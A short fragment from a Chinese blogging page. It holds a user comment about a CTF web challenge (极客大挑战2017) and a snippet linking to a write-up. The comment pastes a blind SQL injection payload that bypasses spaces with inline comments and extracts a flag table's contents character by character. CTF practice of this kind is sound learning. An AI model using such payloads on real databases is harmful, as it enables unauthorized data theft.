240 发简信
IP属地:山东
  • 同用的这个,但是跑不出字段,不知道为什么

    payload = 'and/**/IF((mid((SELECT/**/*/**/from/**/f1ag_1s_h3re/**/limit/**/1),1,%d)<>\'%s\'),1,(select/**/1/**/union/**/select/**/2));' % (i,(password+c))

    [极客大挑战2017](Web)G胖万岁

    题目链接 : http://game.sycsec.com:2008/Steam/1.php?type=DESC 看到 URL 中的 DESC 参数联想到 SQL 语句中的 ...